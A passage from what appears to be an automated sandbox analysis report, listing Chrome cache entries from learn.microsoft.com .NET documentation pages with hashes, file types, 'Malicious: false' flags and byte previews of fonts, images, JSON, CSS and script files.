Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
